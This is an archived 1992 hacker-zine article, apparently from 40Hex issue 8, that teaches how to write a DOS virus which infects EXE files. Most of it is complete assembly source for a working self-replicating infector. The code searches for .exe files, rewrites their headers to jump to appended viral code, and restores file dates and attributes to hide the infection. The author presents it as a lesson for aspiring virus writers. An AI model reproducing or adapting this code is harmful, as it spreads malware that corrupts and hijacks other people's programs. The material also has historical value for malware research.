home *** CD-ROM | disk | FTP | other *** search
/ Phoenix Rising BBS / phoenixrising.zip / phoenixrising / vir-docs / 40hex-08.arj / 40HEX-8.007 < prev    next >
Text File  |  1992-07-27  |  15KB  |  323 lines

  1. 40Hex Number 8 Volume 2 Issue 4                                       File 007
  2.  
  3.                     ───────────────────────────────────────
  4.                     An Introduction to Nonoverwriting Virii
  5.                             Part II: EXE Infectors
  6.                                  By Dark Angel
  7.                     ───────────────────────────────────────
  8.   
  9.        In the  last issue  of 40Hex,  I presented  theory and  code  for  the
  10.   nonoverwriting  COM   infector,  the   simplest  of  all  parasitic  virii.
  11.   Hopefully, having  learned COM  infections cold,  you are now ready for EXE
  12.   infections.  There is a grey veil covering the technique of EXE infections,
  13.   as the majority of virii are COM-only.
  14.   
  15.        EXE infections  are, in  some  respects,  simpler  than  COM  viruses.
  16.   However, to  understand the infection, you must understand the structure of
  17.   EXE files  (naturally).   EXE files  are structured into segments which are
  18.   loaded consecutively  atop one  another.  Thus, all an EXE infector must do
  19.   is create  its own  segment in  the EXE  file and  alter  the  entry  point
  20.   appropriately.   Therefore, EXE  infections do  not require  restoration of
  21.   bytes of  code, but  rather involve  the manipulation  of the  header which
  22.   appears in  the beginning every EXE file and the appending of viral code to
  23.   the infected file.  The format of the header follows:
  24.   
  25.    Offset Description
  26.      00   ID word, either 'MZ' or 'ZM'
  27.      02   Number of bytes in the last (512 byte) page in the image
  28.      04   Total number of 512 byte pages in the file
  29.      06   Number of entries in the segment table
  30.      08   Size of the header in (16 byte) paragraphs
  31.      0A   Minimum memory required in paragraphs
  32.      0C   Maximum memory requested in paragraphs
  33.      0E   Initial offset in paragraphs to stack segment from header
  34.      10   Initial offset in bytes of stack pointer from stack segment
  35.      12   Negative checksum (ignored)
  36.      14   Initial offset in bytes of instruction pointer from code segment
  37.      16   Initial offset in paragraphs of code segment from header
  38.      18   Offset of relocation table from start of file
  39.      1A   Overlay number (ignored)
  40.   
  41.   The ID  word is  generally 'ZM'  (in the  Intel little-endian format).  Few
  42.   files start  with the  alternate form,  'MZ' (once  again in  Intel little-
  43.   endian format).   To  save space, a check for the alternate form of the EXE
  44.   ID in  the virus  may be omitted, although a few files may be corrupted due
  45.   to this omission.
  46.   
  47.   The words  at offsets  2 and  4 are related.  The word at offset 4 contains
  48.   the filesize  in pages.   A  page is  a 512 byte chunk of memory, just as a
  49.   word is  a two  byte chunk of memory.  This number is rounded up, so a file
  50.   of length  514 bytes  would contain a 2 at offset 4 in the EXE header.  The
  51.   word at offset 2 is the image length modulo 512.  The image length does not
  52.   include the  header length.   This  is one of the bizarre quirks of the EXE
  53.   header.   Since the header length is usually a multiple of 512 anyway, this
  54.   quirk usually  does not  matter.  If the word at offset 2 is equal to four,
  55.   then it  is generally  ignored (heck,  it's never really used anyway) since
  56.   pre-1.10 versions  of the  Microsoft linker had a bug which caused the word
  57.   to always  be equal  to four.  If you are bold, the virus can set this word
  58.   to 4.   However, keep in mind that this was a bug of the linker and not all
  59.   command interpreters may recognise this quirk.
  60.   
  61.   The minimum memory required by the program (offset A) can be ignored by the
  62.   virus, as  the maximum  memory is generally allocated to the program by the
  63.   operating system.   However,  once again,  ignoring this area of the header
  64.   MAY cause  an unsucessful  infection.   Simply adding  the  virus  size  in
  65.   paragraphs to this value can nullify the problem.
  66.   
  67.   The words  representing the  initial stack segment and pointer are reversed
  68.   (not in  little-endian format).   In  other words,  an LES to this location
  69.   will yield  the stack  pointer in  ES and  the  stack  segment  in  another
  70.   register.   The initial  SS:SP is  calculated  with  the  base  address  of
  71.   0000:0000 being at the end of the header.
  72.   
  73.   Similarly, the  initial CS:IP  (in little-endian format) is calculated with
  74.   the base  address of  0000:0000 at  the end of the header.  For example, if
  75.   the program  entry point  appears directly after the header, then the CS:IP
  76.   would be 0000:0000.  When the program is loaded, the PSP+10 is added to the
  77.   segment value (the extra 10 accounts for the 100h bytes of the PSP).
  78.   
  79.   All the  relevant portions  of the  EXE header  have been covered.  So what
  80.   should be  done to  write a  nonoverwriting EXE infector?  First, the virus
  81.   must be appended to the end of the file.  Second, the initial CS:IP must be
  82.   saved and  subsequently changed  in the  header.   Third, the initial SS:SP
  83.   should also  be saved  and changed.   This  is to avoid any possible memory
  84.   conflicts from  the stack  overwriting viral  code.   Fourth, the file size
  85.   area of  the header should be modified to correctly reflect the new size of
  86.   the file.   Fifth,  any additional  safety modifications such as increasing
  87.   the minimum  memory allocation  should be made.  Last, the header should be
  88.   written to the infected file.
  89.   
  90.   There are  several good areas for ID bytes in the EXE header.  The first is
  91.   in the stack pointer field.  Since it should be changed anyway, changing it
  92.   to a  predictable number  would add nothing to the code length.  Make sure,
  93.   however, to  make the stack pointer high enough to prevent code overwrites.
  94.   Another common  area for ID bytes is in the negative checksum field.  Since
  95.   it is  an unused  field, altering  it won't  affect the  execution  of  any
  96.   programs.
  97.   
  98.   One further item should be mentioned before the code for the EXE infector.
  99.   It is important to remember that EXE files are loaded differently than COM
  100.   files.  Although a PSP is still built, the initial CS does NOT point to it.
  101.   Instead, it points to wherever the entry point happens to be.  DS and ES
  102.   point to the PSP, and therefore do NOT point to the entry point (your virus
  103.   code).  It is important to restore DS and ES to their proper values before
  104.   returning control to the EXE.
  105.   
  106.   ----cut here---------------------------------------------------------------
  107.   
  108.   .model tiny                             ; Handy TASM directive
  109.   .code                                   ; Virus code segment
  110.             org 100h                      ; COM file starting IP
  111.   ; Cheesy EXE infector
  112.   ; Written by Dark Angel of PHALCON/SKISM
  113.   ; For 40Hex Number 8 Volume 2 Issue 4
  114.   id = 'DA'                               ; ID word for EXE infections
  115.   
  116.   startvirus:                             ; virus code starts here
  117.             call next                     ; calculate delta offset
  118.   next:     pop  bp                       ; bp = IP next
  119.             sub  bp,offset next           ; bp = delta offset
  120.   
  121.             push ds
  122.             push es
  123.             push cs                       ; DS = CS
  124.             pop  ds
  125.             push cs                       ; ES = CS
  126.             pop  es
  127.             lea  si,[bp+jmpsave2]
  128.             lea  di,[bp+jmpsave]
  129.             movsw
  130.             movsw
  131.             movsw
  132.             movsw
  133.   
  134.             mov  ah,1Ah                   ; Set new DTA
  135.             lea  dx,[bp+newDTA]           ; new DTA @ DS:DX
  136.             int  21h
  137.   
  138.             lea  dx,[bp+exe_mask]
  139.             mov  ah,4eh                   ; find first file
  140.             mov  cx,7                     ; any attribute
  141.   findfirstnext:
  142.             int  21h                      ; DS:DX points to mask
  143.             jc   done_infections          ; No mo files found
  144.   
  145.             mov  al,0h                    ; Open read only
  146.             call open
  147.   
  148.             mov  ah,3fh                   ; Read file to buffer
  149.             lea  dx,[bp+buffer]           ; @ DS:DX
  150.             mov  cx,1Ah                   ; 1Ah bytes
  151.             int  21h
  152.   
  153.             mov  ah,3eh                   ; Close file
  154.             int  21h
  155.   
  156.   checkEXE: cmp  word ptr [bp+buffer+10h],id ; is it already infected?
  157.             jnz  infect_exe
  158.   find_next:
  159.             mov  ah,4fh                   ; find next file
  160.             jmp  short findfirstnext
  161.   done_infections:
  162.             mov  ah,1ah                   ; restore DTA to default
  163.             mov  dx,80h                   ; DTA in PSP
  164.             pop  es
  165.             pop  ds                       ; DS->PSP
  166.             int  21h
  167.             mov  ax,es                    ; AX = PSP segment
  168.             add  ax,10h                   ; Adjust for PSP
  169.             add  word ptr cs:[si+jmpsave+2],ax
  170.             add  ax,word ptr cs:[si+stacksave+2]
  171.             cli                           ; Clear intrpts for stack manip.
  172.             mov  sp,word ptr cs:[si+stacksave]
  173.             mov  ss,ax
  174.             sti
  175.             db   0eah                     ; jmp ssss:oooo
  176.   jmpsave             dd ?                ; Original CS:IP
  177.   stacksave           dd ?                ; Original SS:SP
  178.   jmpsave2            dd 0fff00000h       ; Needed for carrier file
  179.   stacksave2          dd ?
  180.   
  181.   creator             db '[MPC]',0,'Dark Angel of PHALCON/SKISM',0
  182.   virusname           db '[DemoEXE] for 40Hex',0
  183.   
  184.   infect_exe:
  185.             les  ax, dword ptr [bp+buffer+14h] ; Save old entry point
  186.             mov  word ptr [bp+jmpsave2], ax
  187.             mov  word ptr [bp+jmpsave2+2], es
  188.   
  189.             les  ax, dword ptr [bp+buffer+0Eh] ; Save old stack
  190.             mov  word ptr [bp+stacksave2], es
  191.             mov  word ptr [bp+stacksave2+2], ax
  192.   
  193.             mov  ax, word ptr [bp+buffer + 8] ; Get header size
  194.             mov  cl, 4                        ; convert to bytes
  195.             shl  ax, cl
  196.             xchg ax, bx
  197.   
  198.             les  ax, [bp+offset newDTA+26]; Get file size
  199.             mov  dx, es                   ; to DX:AX
  200.             push ax
  201.             push dx
  202.   
  203.             sub  ax, bx                   ; Subtract header size from
  204.             sbb  dx, 0                    ; file size
  205.   
  206.             mov  cx, 10h                  ; Convert to segment:offset
  207.             div  cx                       ; form
  208.   
  209.             mov  word ptr [bp+buffer+14h], dx ; New entry point
  210.             mov  word ptr [bp+buffer+16h], ax
  211.   
  212.             mov  word ptr [bp+buffer+0Eh], ax ; and stack
  213.             mov  word ptr [bp+buffer+10h], id
  214.   
  215.             pop  dx                       ; get file length
  216.             pop  ax
  217.   
  218.             add  ax, heap-startvirus      ; add virus size
  219.             adc  dx, 0
  220.   
  221.             mov  cl, 9                    ; 2**9 = 512
  222.             push ax
  223.             shr  ax, cl
  224.             ror  dx, cl
  225.             stc
  226.             adc  dx, ax                   ; filesize in pages
  227.             pop  ax
  228.             and  ah, 1                    ; mod 512
  229.   
  230.             mov  word ptr [bp+buffer+4], dx ; new file size
  231.             mov  word ptr [bp+buffer+2], ax
  232.   
  233.             push cs                       ; restore ES
  234.             pop  es
  235.   
  236.             mov  cx, 1ah
  237.   finishinfection:
  238.             push cx                       ; Save # bytes to write
  239.             xor  cx,cx                    ; Clear attributes
  240.             call attributes               ; Set file attributes
  241.   
  242.             mov  al,2
  243.             call open
  244.   
  245.             mov  ah,40h                   ; Write to file
  246.             lea  dx,[bp+buffer]           ; Write from buffer
  247.             pop  cx                       ; cx bytes
  248.             int  21h
  249.   
  250.             mov  ax,4202h                 ; Move file pointer
  251.             xor  cx,cx                    ; to end of file
  252.             cwd                           ; xor dx,dx
  253.             int  21h
  254.   
  255.             mov  ah,40h                   ; Concatenate virus
  256.             lea  dx,[bp+startvirus]
  257.             mov  cx,heap-startvirus       ; # bytes to write
  258.             int  21h
  259.   
  260.             mov  ax,5701h                 ; Restore creation date/time
  261.             mov  cx,word ptr [bp+newDTA+16h] ; time
  262.             mov  dx,word ptr [bp+newDTA+18h] ; date
  263.             int  21h
  264.   
  265.             mov  ah,3eh                   ; Close file
  266.             int  21h
  267.   
  268.             mov ch,0
  269.             mov cl,byte ptr [bp+newDTA+15h] ; Restore original
  270.             call attributes                 ; attributes
  271.   
  272.   mo_infections: jmp find_next
  273.   
  274.   open:
  275.             mov  ah,3dh
  276.             lea  dx,[bp+newDTA+30]        ; filename in DTA
  277.             int  21h
  278.             xchg ax,bx
  279.             ret
  280.   
  281.   attributes:
  282.             mov  ax,4301h                 ; Set attributes to cx
  283.             lea  dx,[bp+newDTA+30]        ; filename in DTA
  284.             int  21h
  285.             ret
  286.   
  287.   exe_mask            db '*.exe',0
  288.   heap:                                   ; Variables not in code
  289.   newDTA              db 42 dup (?)       ; Temporary DTA
  290.   buffer              db 1ah dup (?)      ; read buffer
  291.   endheap:                                ; End of virus
  292.   
  293.   end       startvirus
  294.   
  295.   ----cut here---------------------------------------------------------------
  296.   
  297.   This is a simple EXE infector.  It has limitations; for example, it does
  298.   not handle misnamed COM files.  This can be remedied by a simple check:
  299.   
  300.     cmp [bp+buffer],'ZM'
  301.     jnz misnamed_COM
  302.   continueEXE:
  303.   
  304.   Take special notice of the done_infections and infect_exe procedures.  They
  305.   handle all  the relevant portions of the EXE infection.  The restoration of
  306.   the EXE  file simply  consists of  resetting the stack and a far jmp to the
  307.   original entry point.
  308.   
  309.   A final  note on  EXE infections: it is often helpful to "pad" EXE files to
  310.   the nearest  segment.  This accomplishes two things.  First, the initial IP
  311.   is  always  0,  a  fact  which  can  be  used  to  eliminate  delta  offset
  312.   calculations.   Code space  can be  saved by  replacing all  those annoying
  313.   relative memory  addressing statements  ([bp+offset blip])  statements with
  314.   their absolute  counterparts (blip).   Second, recalculation of header info
  315.   can be  handled in  paragraphs, simplifying  it tremendously.  The code for
  316.   this is left as an exercise for the reader.
  317.   
  318.   This file is dedicated to the [XxXX] (Censored. -Ed.) programmers (who have
  319.   yet to figure out how to  write EXE  infectors).  Hopefully, this  text can
  320.   teach them (and everyone else) how to progress beyond simple COM and spawn-
  321.   ing EXE infectors.   In the next issue of 40Hex,  I will present the theory
  322.   and code for the next step of file infector - the coveted SYS file.
  323.